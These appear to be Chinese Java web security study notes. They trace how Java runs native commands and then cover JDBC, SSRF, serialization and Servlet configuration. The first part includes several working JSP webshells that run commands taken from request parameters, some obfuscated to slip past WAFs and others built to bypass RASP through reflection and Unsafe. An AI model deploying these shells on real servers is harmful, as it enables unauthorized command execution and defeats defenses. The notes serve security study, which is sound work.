摘录自【JavaWeb】JSP:基本语法大全

#Runtime命令执行调用链

  Runtime.exec(xxx)调用链如下:

java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
java.lang.Runtime.exec(Runtime.java:450)
java.lang.Runtime.exec(Runtime.java:347)
org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)

  通过观察整个调用链我们可以清楚的看到exec方法并不是命令执行的最终点,执行逻辑大致是:

  1. Runtime.exec(xxx)
  2. java.lang.ProcessBuilder.start()
  3. new java.lang.UNIXProcess(xxx)
  4. UNIXProcess构造方法中调用了forkAndExec(xxx) native方法。
  5. forkAndExec调用操作系统级别fork->exec(*nix)/CreateProcess(Windows)执行命令并返回fork/CreateProcessPID

  有了以上的调用链分析我们就可以深刻的理解到Java本地命令执行的深入逻辑了,切记RuntimeProcessBuilder并不是程序的最终执行点!

#反射Runtime命令执行

  如果我们不希望在代码中出现和Runtime相关的关键字,我们可以全部用反射代替。

reflection-cmd.jsp示例代码:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>

<%
    String str = request.getParameter("str");

    // 定义"java.lang.Runtime"字符串变量
    String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});

    // 反射java.lang.Runtime类获取Class对象
    Class<?> c = Class.forName(rt);

    // 反射获取Runtime类的getRuntime方法
    Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));

    // 反射获取Runtime类的exec方法
    Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);

    // 反射调用Runtime.getRuntime().exec(xxx)方法
    Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});

    // 反射获取Process类的getInputStream方法
    Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
    m.setAccessible(true);

    // 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
    Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
    String result = s.hasNext() ? s.next() : "";

    // 输出命令执行结果
    out.println(result);
%>
<%- 利用byte转化为字符串的方式可以绕过一些waf -%>

  命令参数是str,如:reflection-cmd.jsp?str=pwd,程序执行结果同上。

#ProcessBuilder命令执行

  学习Runtime命令执行的时候我们讲到其最终exec方法会调用ProcessBuilder来执行本地命令,那么我们只需跟踪下Runtime的exec方法就可以知道如何使用ProcessBuilder来执行系统命令了。

process_builder.jsp命令执行测试:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
    InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    byte[] b = new byte[1024];
    int a = -1;

    while ((a = in.read(b)) != -1) {
        baos.write(b, 0, a);
    }

    out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

#UNIXProcess/ProcessImpl

  UNIXProcessProcessImpl可以理解本就是一个东西,因为在JDK9的时候把UNIXProcess合并到了ProcessImpl当中了。UNIXProcessProcessImpl其实就是最终调用native执行系统命令的类,这个类提供了一个叫forkAndExec的native方法,如方法名所述主要是通过fork&exec来执行本地系统命令。

  UNIXProcess类的forkAndExec示例:

private native int forkAndExec(int mode, byte[] helperpath,
                                   byte[] prog,
                                   byte[] argBlock, int argc,
                                   byte[] envBlock, int envc,
                                   byte[] dir,
                                   int[] fds,
                                   boolean redirectErrorStream)
        throws IOException;

  最终执行的Java_java_lang_ProcessImpl_forkAndExec

Java_java_lang_ProcessImpl_forkAndExec完整代码:ProcessImpl_md.c

  很多人对Java本地命令执行的理解不够深入导致了他们无法定位到最终的命令执行点,如果防御对象只防御到了ProcessBuilder.start()方法,而我们只需要直接调用最终执行的UNIXProcess/ProcessImpl实现命令执行或者直接反射UNIXProcess/ProcessImplforkAndExec方法就可以绕过RASP实现命令执行了。

#反射UNIXProcess/ProcessImpl执行本地命令

   linux-cmd.jsp执行本地命令测试:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>

<%!
    // 将Java字符串转换为C风格字符串(以\0结尾的字节数组)
    // 适配底层系统调用(如UNIXProcess构造参数)。
    byte[] toCString(String s) {
        if (s == null) {
            return null;
        }

        byte[] bytes  = s.getBytes();
        byte[] result = new byte[bytes.length + 1];
        System.arraycopy(bytes, 0, result, 0, bytes.length);
        result[result.length - 1] = (byte) 0;
        return result;
    }

    InputStream start(String[] strs) throws Exception {
        // 反射获取命令执行的输出的字节流
        
        // java.lang.UNIXProcess
        String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});

        // java.lang.ProcessImpl
        String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});

        Class clazz = null;

        // 反射创建UNIXProcess或者ProcessImpl
        try {
            clazz = Class.forName(unixClass);
        } catch (ClassNotFoundException e) {
            clazz = Class.forName(processClass);
        }

        // 获取UNIXProcess或者ProcessImpl的构造方法
        Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        
        // 这里的assert和py里的是一样的作用
        assert strs != null && strs.length > 0;

        // 将参数转换为内存块,使得在Java中操作内存比C中更简单
        byte[][] args = new byte[strs.length - 1][];
        int size = args.length; // For added NUL bytes
        for (int i = 0; i < args.length; i++) {
            // 参数转换为字节数组
            args[i] = strs[i + 1].getBytes();
            size += args[i].length;
        }

        byte[] argBlock = new byte[size];
        int    i        = 0;

        for (byte[] arg : args) {
            System.arraycopy(arg, 0, argBlock, i, arg.length);
            i += arg.length + 1;
            // No need to write NUL bytes explicitly
        }

        int[] envc    = new int[1];
        int[] std_fds = new int[]{-1, -1, -1};

        FileInputStream  f0 = null;// 命令(如/bin/sh)
        FileOutputStream f1 = null;
        FileOutputStream f2 = null;

        // In theory, close() can throw IOException
        // (although it is rather unlikely to happen here)
        try {
            if (f0 != null) f0.close();
        } finally {
            try {
                if (f1 != null) f1.close();
            } finally {
                if (f2 != null) f2.close();
            }
        }

        // 创建UNIXProcess或者ProcessImpl实例
        Object object = constructor.newInstance(
            toCString(strs[0]), // 命令(如/bin/sh)
            argBlock,           // 参数块
            args.length,        // 参数数量
            null,               // 环境变量
            envc[0],            // 环境变量数量
            null,               // 工作目录
            std_fds,            // 标准输入/输出/错误流
            false               // 是否重定向错误流
        );

        // 获取命令执行的InputStream
        Method inMethod = object.getClass().getDeclaredMethod("getInputStream"); 
        inMethod.setAccessible(true);

        return (InputStream) inMethod.invoke(object);// 返回输出字节流
    }

    String inputStreamToString(InputStream in, String charset) throws IOException { 
        // 将输出字节流转化为字符流
        try {
            if (charset == null) {
                charset = "UTF-8";
            }

            ByteArrayOutputStream out = new ByteArrayOutputStream();
            int                   a   = 0;
            byte[]                b   = new byte[1024];

            while ((a = in.read(b)) != -1) {
                out.write(b, 0, a);
            }

            return new String(out.toByteArray());
        } catch (IOException e) {
            throw e;
        } finally {
            if (in != null)
                in.close();
        }
    }
%>
<%
    String[] str = request.getParameterValues("cmd");

    if (str != null) {
        InputStream in     = start(str);
        String      result = inputStreamToString(in, "UTF-8");
        out.println("<pre>");
        out.println(result);
        out.println("</pre>");
        out.flush();
        out.close();
    }
%>

forkAndExec命令执行-Unsafe+反射+Native方法调用

  如果RASPUNIXProcess/ProcessImpl类的构造方法给拦截了我们是不是就无法执行本地命令了?其实我们可以利用Java的几个特性就可以绕过RASP执行本地命令了,具体步骤如下:

  1. 使用sun.misc.Unsafe.allocateInstance(Class)特性可以无需new或者newInstance创建UNIXProcess/ProcessImpl类对象。
  2. 反射UNIXProcess/ProcessImpl类的forkAndExec方法。
  3. 构造forkAndExec需要的参数并调用。
  4. 反射UNIXProcess/ProcessImpl类的initStreams方法初始化输入输出结果流对象。
  5. 反射UNIXProcess/ProcessImpl类的getInputStream方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。

  fork_and_exec.jsp执行本地命令示例:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
    byte[] toCString(String s) {
        if (s == null)
            return null;
        byte[] bytes  = s.getBytes();
        byte[] result = new byte[bytes.length + 1];
        System.arraycopy(bytes, 0,
                result, 0,
                bytes.length);
        result[result.length - 1] = (byte) 0;
        return result;
    }


%>
<%
    String[] strs = request.getParameterValues("cmd");

    if (strs != null) {
        Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafeField.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

        Class processClass = null;

        try {
            processClass = Class.forName("java.lang.UNIXProcess");
        } catch (ClassNotFoundException e) {
            processClass = Class.forName("java.lang.ProcessImpl");
        }

        Object processObject = unsafe.allocateInstance(processClass);

        // Convert arguments to a contiguous block; it's easier to do
        // memory management in Java than in C.
        byte[][] args = new byte[strs.length - 1][];
        int      size = args.length; // For added NUL bytes

        for (int i = 0; i < args.length; i++) {
            args[i] = strs[i + 1].getBytes();
            size += args[i].length;
        }

        byte[] argBlock = new byte[size];
        int    i        = 0;

        for (byte[] arg : args) {
            System.arraycopy(arg, 0, argBlock, i, arg.length);
            i += arg.length + 1;
            // No need to write NUL bytes explicitly
        }

        int[] envc                 = new int[1];
        int[] std_fds              = new int[]{-1, -1, -1};
        Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
        Field helperpathField      = processClass.getDeclaredField("helperpath");
        launchMechanismField.setAccessible(true);
        helperpathField.setAccessible(true);
        Object launchMechanismObject = launchMechanismField.get(processObject);
        byte[] helperpathObject      = (byte[]) helperpathField.get(processObject);

        int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);

        Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
                int.class, byte[].class, byte[].class, byte[].class, int.class,
                byte[].class, int.class, byte[].class, int[].class, boolean.class
        });

        forkMethod.setAccessible(true);// 设置访问权限

        int pid = (int) forkMethod.invoke(processObject, new Object[]{
                ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
                null, envc[0], null, std_fds, false
        });

        // 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
        Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
        initStreamsMethod.setAccessible(true);
        initStreamsMethod.invoke(processObject, std_fds);

        // 获取本地执行结果的输入流
        Method getInputStreamMethod = processClass.getMethod("getInputStream");
        getInputStreamMethod.setAccessible(true);
        InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        int                   a    = 0;
        byte[]                b    = new byte[1024];

        while ((a = in.read(b)) != -1) {
            baos.write(b, 0, a);
        }

        out.println("<pre>");
        out.println(baos.toString());
        out.println("</pre>");
        out.flush();
        out.close();
    }
%>

#JDBC 基础

  JDBC(Java Database Connectivity)是Java提供对数据库进行连接、操作的标准API。Java自身并不会去实现对数据库的连接、查询、更新等操作而是通过抽象出数据库操作的API接口(JDBC),不同的数据库提供商必须实现JDBC定义的接口从而也就实现了对数据库的一系列操作。

#JDBC Connection

  Java通过java.sql.DriverManager来管理所有数据库的驱动注册,所以如果想要建立数据库连接需要先在java.sql.DriverManager中注册对应的驱动类,然后调用getConnection方法才能连接上数据库。

  JDBC定义了一个叫java.sql.Driver的接口类负责实现对数据库的连接,所有的数据库驱动包都必须实现这个接口才能够完成数据库的连接操作。java.sql.DriverManager.getConnection(xx)其实就是间接的调用了java.sql.Driver类的connect方法实现数据库连接的。数据库连接成功后会返回一个叫做java.sql.Connection的数据库连接对象,一切对数据库的查询操作都将依赖于这个Connection对象。

  JDBC连接数据库的一般步骤:

  1. 注册驱动,Class.forName("数据库驱动的类名")
  2. 获取连接,DriverManager.getConnection(xxx)

JDBC连接数据库示例代码如下:

String CLASS_NAME = "com.mysql.jdbc.Driver";
String URL = "jdbc:mysql://localhost:3306/mysql"
String USERNAME = "root";
String PASSWORD = "root";

Class.forName(CLASS_NAME);// 注册JDBC驱动类
Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);

数据库配置信息

  传统的Web应用的数据库配置信息一般都是存放在WEB-INF目录下的*.properties*.yml*.xml中的,如果是Spring Boot项目的话一般都会存储在jar包中的src/main/resources/目录下。

  常见的存储数据库配置信息的文件路径如:WEB-INF/applicationContext.xmlWEB-INF/hibernate.cfg.xmlWEB-INF/jdbc/jdbc.properties,一般情况下使用find命令加关键字可以轻松的找出来,如查找Mysql配置信息: find 路径 -type f |xargs grep "com.mysql.jdbc.Driver"

forName的原因

  实际上这一步是利用了Java反射+类加载机制往DriverManager中注册了驱动包。

  Class.forName("com.mysql.jdbc.Driver")实际上会触发类加载,com.mysql.jdbc.Driver类将会被初始化,所以static静态语句块中的代码也将会被执行,所以看似毫无必要的Class.forName其实也是暗藏玄机的。如果反射某个类又不想初始化类方法有两种途径:

  1. 使用Class.forName("xxxx", false, loader)方法,将第二个参数传入false。
  2. ClassLoader.load("xxxx");

  连接数据库就必须Class.forName(xxx)几乎已经成为了绝大部分人认为的既定事实而不可改变,但删除Class.forName一样可以连接数据库。实际上这里又利用了Java的一大特性:Java SPI(Service Provider Interface),因为DriverManager在初始化的时候会调用java.util.ServiceLoader类提供的SPI机制,Java会自动扫描jar包中的META-INF/services目录下的文件,并且还会自动的Class.forName(文件中定义的类),这也就解释了为什么不需要Class.forName也能够成功连接数据库的原因了。

#DataSource

  在真实的Java项目中通常不会使用原生的JDBCDriverManager去连接数据库,而是使用数据源(javax.sql.DataSource)来代替DriverManager管理数据库的连接。一般情况下在Web服务启动时候会预先定义好数据源,有了数据源程序就不再需要编写任何数据库连接相关的代码了,直接引用DataSource对象即可获取数据库连接了。

常见的数据源有:DBCPC3P0DruidMybatis DataSource,他们都实现于javax.sql.DataSource接口。

等之后学完Java web后补充

#URLConnection

   Java抽象出了一个URLConnection类,它用来表示应用程序以及与URL建立通信连接的所有类的超类,通过URL类中的openConnection方法获取到URLConnection的类对象。

  Java中URLConnection支持的协议可以在sun.net.www.protocol看到。

  每个协议都有一个Handle,Handle定义了这个协议如何去打开一个连接。

  我们来使用URL发起一个简单的请求

public class URLConnectionDemo {

    public static void main(String[] args) throws IOException {
        URL url = new URL("https://www.baidu.com");

        // 打开和url之间的连接
        URLConnection connection = url.openConnection();

        // 设置请求参数
        connection.setRequestProperty("user-agent", "javasec");
        connection.setConnectTimeout(1000);
        connection.setReadTimeout(1000);
        // ...

        // 建立实际连接
        connection.connect();

        // 获取响应头字段信息列表
        connection.getHeaderFields();

        // 获取URL响应
        connection.getInputStream();

        StringBuilder response = new StringBuilder();
        BufferedReader in = new BufferedReader(
                new InputStreamReader(connection.getInputStream()));
        String line;

        while ((line = in.readLine()) != null) {
            response.append("/n").append(line);
        }

        System.out.print(response.toString());
    }
}

  首先使用URL建立一个对象,调用url对象中的openConnection来获取一个URLConnection的实例,然后通过在URLConnection设置各种请求参数以及一些配置,在使用其中的connect方法来发起请求,然后在调用getInputStream来获请求的响应流。 这是一个基本的请求到响应的过程。

#SSRF相关

  ssrf漏洞也对使用不同类发起的url请求也是有所区别的,如果是URLConnection|URL发起的请求,那么对于上文中所提到的所有protocol都支持,但是如果经过二次包装或者其他的一些类发出的请求,比如

HttpURLConnection
HttpClient
Request
okhttp
……

  那么只支持发起http|https协议,否则会抛出异常。

  如果传入的是http://192.168.xx.xx:80,且192.168.xx.xx80端口存在的,则会将其网页源码输出出来。但如果是非web端口的服务,则会爆出Invalid Http responseConnection reset异常。如果能将此异常抛出来,那么就可以对内网所有服务端口进行探测。

  java中默认对(http|https)做了一些事情,比如:

  • 默认启用了透明NTLM认证
  • 默认跟随跳转

NTLM是NT LAN Manager的简称,NT(New Technology)是Windows发布的桌面操作系统简称。NTLM协议提供身份认证功能,也支持提供会话安全(传递消息的签名以及加密)。

NTLM协议的身份认证机制是challenge-response,由Server发送challenge(8字节随机数),Client根据自己密钥、Server的challenge以及其他一些信息,计算出response,发送至Server,Server则根据相同算法计算,比较response是否一致来决定认证是否通过。

#Java 序列化和反序列化

  在很多语言中都提供了对象反序列化支持,Java在JDK1.1(1997年)时就内置了对象反序列化(java.io.ObjectInputStream)支持。Java对象序列化指的是将一个Java类实例序列化成字节数组,用于存储对象实例化信息:类成员变量和属性值。 Java反序列化可以将序列化后的二进制数组转换为对应的Java类实例

  Java序列化对象因其可以方便的将对象转换成字节数组,又可以方便快速的将字节数组反序列化成Java对象而被非常频繁的被用于Socket传输。 在RMI(Java远程方法调用-Java Remote Method Invocation)JMX(Java管理扩展-Java Management Extensions)服务中对象反序列化机制被强制性使用。在Http请求中也时常会被用到反序列化机制,如:直接接收序列化请求的后端服务、使用Base编码序列化字节字符串的方式传递等。

  自从2015年Apache Commons Collections反序列化漏洞(ysoserial的最早的commit记录是2015年1月29日,说明这个漏洞可能早在2014年甚至更早就已经被人所利用)利用方式被人公开后直接引发了Java生态系统的大地震,与此同时Java反序列化漏洞仿佛掀起了燎原之势,无数的使用了反序列化机制的Java应用系统惨遭黑客疯狂的攻击,为企业安全甚至是国家安全带来了沉重的打击。

#Java 序列化/反序列化

  在Java中实现对象反序列化非常简单,实现java.io.Serializable(内部序列化)java.io.Externalizable(外部序列化)接口即可被序列化,其中java.io.Externalizable接口只是实现了java.io.Serializable接口。反序列化类对象时有如下限制:

  1. 被反序列化的类必须存在。
  2. serialVersionUID值必须一致。

  除此之外,反序列化类对象是不会调用该类构造方法的,因为在反序列化创建类实例时使用了sun.reflect.ReflectionFactory.newConstructorForSerialization创建了一个反序列化专用的Constructor(反射构造方法对象),使用这个特殊的Constructor可以绕过构造方法创建类实例。

  使用反序列化方式创建类实例代码片段:

package Test;

import sun.reflect.ReflectionFactory;
import java.lang.reflect.Constructor;

public class Main {
    public static void main(String[] args) {
        try {
            // 获取sun.reflect.ReflectionFactory对象
            ReflectionFactory factory = ReflectionFactory.getReflectionFactory();

            // 使用反序列化方式获取DeserializationTest类的构造方法
            @SuppressWarnings("rawtypes")
            Constructor constructor = factory.newConstructorForSerialization(
                    DeserializationTest.class, Object.class.getConstructor()
            );

            // 实例化DeserializationTest对象
            System.out.println(constructor.newInstance());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

class DeserializationTest{
    // ......
}
// 输出:Test.DeserializationTest@23fc625e

#ObjectInputStream、ObjectOutputStream

  java.io.ObjectOutputStream类最核心的方法是writeObject方法,即序列化类对象。

  java.io.ObjectInputStream类最核心的功能是readObject方法,即反序列化类对象。

  所以,只需借助ObjectInputStreamObjectOutputStream类我们就可以实现类的序列化和反序列化功能了(毕竟序列化和反序列化就是一个读字符串在根据它写出相应对象或者这一反过程)。

#java.io.Serializable

  java.io.Serializable是一个空的接口,我们不需要实现java.io.Serializable的任何方法,代码如下:

public interface Serializable {
}

  实现一个空接口有什么意义?其实实现java.io.Serializable接口仅仅只用于标识这个类可序列化。实现了java.io.Serializable接口的类原则上都需要生产一个serialVersionUID常量,反序列化时如果双方的serialVersionUID不一致会导致InvalidClassException 异常。如果可序列化类未显式声明 serialVersionUID,则序列化运行时将基于该类的各个方面计算该类的默认 serialVersionUID值。

  DeserializationTest.java测试代码如下:

package com.anbai.sec.serializes;

import java.io.*;
import java.util.Arrays;

/**
 * Creator: yz
 * Date: 2019/12/15
 */
public class DeserializationTest implements Serializable {

    private String username;

    private String email;

    // 省去get/set方法....

    public static void main(String[] args) {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        try {
            // 创建DeserializationTest类,并类设置属性值
            DeserializationTest t = new DeserializationTest();
            t.setUsername("yz");
            t.setEmail("admin@javaweb.org");

            // 创建Java对象序列化输出流对象
            ObjectOutputStream out = new ObjectOutputStream(baos);

            // 序列化DeserializationTest类
            out.writeObject(t);
            out.flush();
            out.close();

            // 打印DeserializationTest类序列化以后的字节数组,我们可以将其存储到文件中或者通过Socket发送到远程服务地址
            System.out.println("DeserializationTest类序列化后的字节数组:" + Arrays.toString(baos.toByteArray()));

            // 利用DeserializationTest类生成的二进制数组创建二进制输入流对象用于反序列化操作
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());

            // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
            ObjectInputStream in = new ObjectInputStream(bais);

            // 反序列化输入流数据为DeserializationTest对象
            DeserializationTest test = (DeserializationTest) in.readObject();
            System.out.println("用户名:" + test.getUsername() + ",邮箱:" + test.getEmail());

            // 关闭ObjectInputStream输入流
            in.close();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }

}

  程序执行结果如下:

DeserializationTest类序列化后的字节数组:[-84, -19, 0, 5, 115, 114, 0, 44, 99, 111, 109, 46, 97, 110, 98, 97, 105, 46, 115, 101, 99, 46, 115, 101, 114, 105, 97, 108, 105, 122, 101, 115, 46, 68, 101, 115, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 84, 101, 115, 116, 74, 36, 49, 16, -110, 39, 13, 76, 2, 0, 2, 76, 0, 5, 101, 109, 97, 105, 108, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 0, 8, 117, 115, 101, 114, 110, 97, 109, 101, 113, 0, 126, 0, 1, 120, 112, 116, 0, 17, 97, 100, 109, 105, 110, 64, 106, 97, 118, 97, 119, 101, 98, 46, 111, 114, 103, 116, 0, 2, 121, 122]
用户名:yz,邮箱:admin@javaweb.org

  核心逻辑其实就是使用ObjectOutputStream类的writeObject方法序列化DeserializationTest类,使用ObjectInputStream类的readObject方法反序列化DeserializationTest类而已。

上面这么一大段代码可以简化成如下:

// 序列化DeserializationTest类
ObjectOutputStream out = new ObjectOutputStream(baos);
out.writeObject(t);

// 反序列化输入流数据为DeserializationTest对象
ObjectInputStream in = new ObjectInputStream(bais);
DeserializationTest test = (DeserializationTest) in.readObject();

  ObjectOutputStream序列化类对象的主要流程是首先判断序列化的类是否重写了writeObject方法,如果重写了就调用序列化对象自身的writeObject方法序列化,序列化时会先写入类名信息,其次是写入成员变量信息(通过反射获取所有不包含被transient修饰的变量和值)。

#java.io.Externalizable

  java.io.Externalizablejava.io.Serializable几乎一样,只是java.io.Externalizable接口定义了writeExternalreadExternal方法需要序列化和反序列化的类实现,其余的和java.io.Serializable并无差别。

java.io.Externalizable.java:

public interface Externalizable extends java.io.Serializable {

  void writeExternal(ObjectOutput out) throws IOException;

  void readExternal(ObjectInput in) throws IOException, ClassNotFoundException;

}

ExternalizableTest.java测试代码如下:

package com.anbai.sec.serializes;

import java.io.*;
import java.util.Arrays;

public class ExternalizableTest implements java.io.Externalizable {

    private String username;

    private String email;

    // 省去get/set方法....

    @Override
    public void writeExternal(ObjectOutput out) throws IOException {
        out.writeObject(username);
        out.writeObject(email);
    }

    @Override
    public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
        this.username = (String) in.readObject();
        this.email = (String) in.readObject();
    }

    public static void main(String[] args) {
        // 省去测试代码,因为和DeserializationTest一样...
    }

}

程序执行结果如下:

ExternalizableTest类序列化后的字节数组:[-84, -19, 0, 5, 115, 114, 0, 43, 99, 111, 109, 46, 97, 110, 98, 97, 105, 46, 115, 101, 99, 46, 115, 101, 114, 105, 97, 108, 105, 122, 101, 115, 46, 69, 120, 116, 101, 114, 110, 97, 108, 105, 122, 97, 98, 108, 101, 84, 101, 115, 116, -122, 124, 92, -120, -52, 73, -100, 6, 12, 0, 0, 120, 112, 116, 0, 2, 121, 122, 116, 0, 17, 97, 100, 109, 105, 110, 64, 106, 97, 118, 97, 119, 101, 98, 46, 111, 114, 103, 120]
ExternalizableTest类反序列化后的字符串:��sr+com.anbai.sec.serializes.ExternalizableTest�|\��I�xptyztadmin@javaweb.orgx
用户名:yz,邮箱:admin@javaweb.org

鉴于两者之间没有多大差别,这里就不再赘述。

#Java Web

#Java EE

  Java EE指的是Java平台企业版(Java Platform Enterprise Edition),之前称为Java 2 Platform, Enterprise Edition(J2EE),2017 年的 9 月Oracle将Java EE 捐赠给 Eclipse 基金会,由于Oracle持有Java商标原因,Eclipse基金于2018年3月将Java EE更名为Jakarta EE

#Servlet

  Servlet是在 Java Web容器中运行的小程序,通常我们用Servlet来处理一些较为复杂的服务器端的业务逻辑ServletJava EE的核心,也是所有的MVC框架的实现的根本。

#Servlet的定义

  定义一个 Servlet 很简单,只需要继承javax.servlet.http.HttpServlet类并重写doXXX(如doGet、doPost)方法或者service方法就可以了,其中需要注意的是重写HttpServlet类的service方法可以获取到上述七种Http请求方法的请求。

javax.servlet.http.HttpServlet:

  在写Servlet之前我们先了解下HttpServlet,javax.servlet.http.HttpServlet类继承于javax.servlet.GenericServlet,而GenericServlet又实现了javax.servlet.Servletjavax.servlet.ServletConfigjavax.servlet.Servlet接口中只定义了servlet基础生命周期方法:init(初始化)getServletConfig(配置)service(服务)destroy(销毁),而HttpServlet不仅实现了servlet的生命周期并通过封装service方法抽象出了doGet/doPost/doDelete/doHead/doPut/doOptions/doTrace方法用于处理来自客户端的不一样的请求方式,我们的Servlet只需要重写其中的请求方法或者重写service方法即可实现servlet请求处理。

TestServlet示例代码:

package com.anbai.sec.servlet;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

// 如果使用注解方式请取消@WebServlet注释并注释掉web.xml中TestServlet相关配置
//@WebServlet(name = "TestServlet", urlPatterns = {"/TestServlet"})
public class TestServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        doPost(request, response);
    }

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
        PrintWriter out = response.getWriter();
        out.println("Hello World~");
        out.flush();
        out.close();
    }

}

#Servlet Web.xml配置

注意!现在很少还会用xml编写配置,大多都已经使用了注解的方式。不过注解和xml还是有互通,所以还是学一学。

  Servlet3.0 之前的版本都需要在web.xml 中配置servlet标签servlet标签是由servletservlet-mapping标签组成的,两者之间通过在servletservlet-mapping标签中同样的servlet-name名称来实现关联的。

以下来自 web.xml 的配置。部分解释来自于deepseek。

下面是一个典型的 web.xml 文件的基本结构:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/javaee 
         http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
         version="3.0">
         
    <!-- 描述性信息 -->
    <display-name>My Web Application</display-name>
    <description>My first web application</description>

    <!-- Servlet 配置 -->
    <servlet>
        <servlet-name>MyServlet</servlet-name>
        <servlet-class>com.example.MyServlet</servlet-class>
    </servlet>

    <!-- Servlet 映射 -->
    <servlet-mapping>
        <servlet-name>MyServlet</servlet-name>
        <url-pattern>/myservlet</url-pattern>
    </servlet-mapping>

    <!-- 过滤器配置 -->
    <filter>
        <filter-name>MyFilter</filter-name>
        <filter-class>com.example.MyFilter</filter-class>
    </filter>

    <!-- 过滤器映射 -->
    <filter-mapping>
        <filter-name>MyFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <!-- 监听器配置 -->
    <listener>
        <listener-class>com.example.MyListener</listener-class>
    </listener>

    <!-- 欢迎文件列表 -->
    <welcome-file-list>
        <welcome-file>index.html</welcome-file>
        <welcome-file>index.jsp</welcome-file>
    </welcome-file-list>

    <!-- 错误页面配置 -->
    <error-page>
        <error-code>404</error-code>
        <location>/error/404.jsp</location>
    </error-page>

    <!-- 上下文参数 -->
    <context-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>/WEB-INF/spring-context.xml</param-value>
    </context-param>

    <!-- Session 配置 -->
    <session-config>
        <session-timeout>30</session-timeout> <!-- 分钟 -->
    </session-config>

    <!-- 安全约束 -->
    <security-constraint>
        <web-resource-collection>
            <web-resource-name>Protected Area</web-resource-name>
            <url-pattern>/protected/*</url-pattern>
        </web-resource-collection>
        <auth-constraint>
            <role-name>admin</role-name>
        </auth-constraint>
    </security-constraint>
</web-app>

<web-app>

  这是整个配置文件的根标签,web.xml的模式文件是由Sun公司定义的,它必须标明web.xml使用的是哪个模式文件。并且声明这是一个 Servlet 3.0 规范的部署描述符(version="3.0")。

<display-name>

  它标注了该web项目的名字,提供GUI工具可能会用来标记这个特定的Web应用的一个名称。

<description>

  应用的详细描述。

<welcome-list-file>

  定义了首页文件,也就是用户直接输入域名时跳转的页面。

<servlet>
用来声明一个servlet的数据,主要有以下子元素:

  • <servlet-name>:指定servlet的名称

  • <servlet-class>:指定servlet的类名称

  • <jsp-file>:指定web站台中的某个JSP网页的完整路径

  • <init-param>:用来定义初始化参数,可有多个init-param。

    在servlet类中通过ServletConfig对象传入init函数,通过getInitParamenter(String name)方法访问初始化参数。
